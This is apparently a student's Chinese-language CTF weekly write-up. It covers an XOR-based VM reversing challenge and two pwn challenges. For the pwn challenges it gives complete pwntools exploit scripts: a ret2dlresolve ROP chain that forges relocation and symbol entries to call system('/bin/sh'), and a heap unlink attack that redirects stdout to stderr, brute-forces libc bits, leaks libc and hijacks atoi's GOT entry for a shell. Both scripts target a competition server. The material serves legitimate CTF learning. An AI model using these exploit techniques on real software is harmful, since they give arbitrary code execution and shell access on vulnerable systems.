(太难了这周,缩圈效果极佳)
Re
easyVM
简单处理下后,这题把你的输入经过一个虚拟机的操作变化后,与设定的结果比较,一致则成功,输入就是flag

虚拟机执行的指令如下:

分析handler函数,整理好操作的意图,大概有push压栈操作,pop出栈操作,还有一些运算,但是我还是看不太懂,最后动态调试,发现关键步骤在这里:

这个异或操作,再结合几条指令,发现就是改变输入的字符串的过程,而且就是把输入与一串固定不变的key进行异或而已,那么问题就简单了,全部输入\0
,当然这个输入没法直接键盘输入,我直接在ida上改的,然后最后比较时的字符串就是我想要的key,再与dest异或就可以得出正确的flag了
dump出key和dest后,写了个脚本来计算,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
s1 = bytes.fromhex('52334E474A4D676947706A362A51362A5E3654674E2340755E643361384B32485647764F63712459') s2 = bytes.fromhex('3A542F2A2F3613012E033540470E5F59016927083D4C331A2D0B400E4B2441272528292A02025D24')
def xor(s1, s2): return bytes([ c1^c2 for c1,c2 in zip(s1,s2)])
flag = xor(s1, s2)
print(flag)
|
Pwn
ROP_LEVEL5
32位程序,没有输出流,没法leak,然后了解到一个不用leak的技术!——ret2dlresolve
比较难,涉及到一个延迟绑定的概念,这里就贴两篇文章参考:
https://www.cnblogs.com/elvirangel/p/8994799.html
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
我的exp如下,可以结合文章和我的注释看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
|
from pwn import * from time import sleep
context(arch='amd64', os='linux') context.terminal = ['gnome-terminal','-x','sh','-c']
elf = ELF('./ROP5')
io = remote('47.103.214.163', 20700)
bss_buf_addr = 0x804A060 pop_3_ret = 0x080485d9 pop_ebp_ret = 0x080485db leave_ret = 0x804855A new_stack = bss_buf_addr + 0x800
offset = 0x48 payload = 'a' * offset payload += p32(elf.plt['read']) payload += p32(pop_3_ret) payload += p32(0) payload += p32(new_stack) payload += p32(0x60) payload += p32(pop_ebp_ret) payload += p32(new_stack) payload += p32(leave_ret)
io.sendlineafter('Are you the LEVEL5?\n', payload)
bin_sh_str = '/bin/sh 1>&0\x00' plt_0 = 0x08048380
dynsym_addr = 0x80481d8 dynstr_addr = 0x8048278 rel_plt = 0x8048330
fake_rel_addr = new_stack+0x14
fake_sym_addr = fake_rel_addr+0x8 align = 0x10 - ((fake_sym_addr - dynsym_addr) & 0xf) fake_sym_addr += align
sym_index = (fake_sym_addr - dynsym_addr) // 0x10
r_info = sym_index << 8 | 0x7
fake_rel = p32(elf.got['puts']) + p32(r_info)
fake_str_addr = fake_sym_addr+0x10
st_name = fake_str_addr - dynstr_addr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
rel_offset = fake_rel_addr - rel_plt
payload = 'a' * 4 payload += p32(plt_0) payload += p32(rel_offset) payload += 'aaaa' payload += p32(new_stack + 0x50) payload += fake_rel payload += 'a' * align payload += fake_sym payload += 'system\x00' payload += 'a' * (0x50 - len(payload)) payload += bin_sh_str
io.sendline(payload) io.interactive()
|
Annevi_Note2
其实这题和week3的Annevi_Note差不多,唯一的区别就是关闭了标准输出,没法leak。
查到资料了解到,bss段最开头有三个全局变量(有时候是两个):stdin,stdout,stderr
这三个全局变量是IO_FILE结构体的指针,详细的就不说了(毕竟我还没学完),特别注意的是,printf函数使用的是stdout这个指针(puts函数呢不使用这个),因为关闭的是stdout,stderr没有被关闭,可以修改stdout这个指针的值为stderr的值,这样printf函数的输出就可以接收到了,而且程序中的show的处理就是用printf的。
stdout和stderr的值其实只有12bit之差,而且因为libc的基址最低12bit必定全为0(这大概是物理页对齐为0x1000的原因),所以stdin和stderr的最低12bit是完全固定的,就是偏移量的最低12bit。
由unlink造成任意地址写,可以修改stdout的值最低12bit为stderr的,但是写入按照字节为单位写入,所以还有4bit要爆破,概率还是蛮大的。
输出打开后,leak出libc基址,计算system函数的地址后,劫持atoi函数got项getshell
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
|
from pwn import * from time import sleep from LibcSearcher import LibcSearcher
context(arch='amd64', os='linux') context.terminal = ["tmux", "splitw", "-h"]
def add(size, content): io.sendline('1') io.sendline(str(size)) io.sendline(content)
def dele(index): io.sendline('2') io.sendline(str(index))
def show(index): io.sendline('3') io.sendline(str(index))
def edit(index, content): io.sendline('4') io.sendline(str(index)) io.sendline(content)
stdout_addr = 0x6020A0 list_addr = 0x6020E0
elf = ELF('./AN2') while True: io = remote('47.103.214.163', 20701) io.recv()
add(0x90, 'aaa') add(0x90, 'aaa') add(0x90, 'aaa')
payload_1 = p64(0) payload_1 += p64(0x91) payload_1 += p64(list_addr - 0x18) payload_1 += p64(list_addr - 0x10) payload_1 += 'a' * (0x90 - 0x20) payload_1 += p64(0x90) payload_1 += p64(0xa0) edit(0, payload_1)
dele(1)
edit(0, 'a'*0x18 + p64(list_addr - 0x18) + p64(stdout_addr))
pay = '\x40\x55' edit(1, pay) try: show(0) ret = io.recv(timeout=2) if 'content' in ret: break else: raise Exception(ret) except Exception as e: print str(e) io.close() continue
edit(0, 'a'*0x18 + p64(list_addr - 0x18) + p64(elf.got['atoi'])) show(1) atoi_addr = io.recv()[-6:].ljust(8, '\x00') atoi_addr = u64(atoi_addr)
print 'atoi_addr=' + hex(atoi_addr)
libc = LibcSearcher('atoi', atoi_addr) libc_base = atoi_addr - libc.dump('atoi') system_addr = libc_base + libc.dump('system')
print 'libc_base='+hex(libc_base) print 'system_addr='+hex(system_addr)
edit(1, p64(system_addr))
io.sendline('/bin/sh 1>&2')
io.interactive()
|
总结
这周又学习了新的pwn技术,曾经无比渴望的二进制方向,现在我也可以算是踏出小小一脚入门了,路还长,继续加油!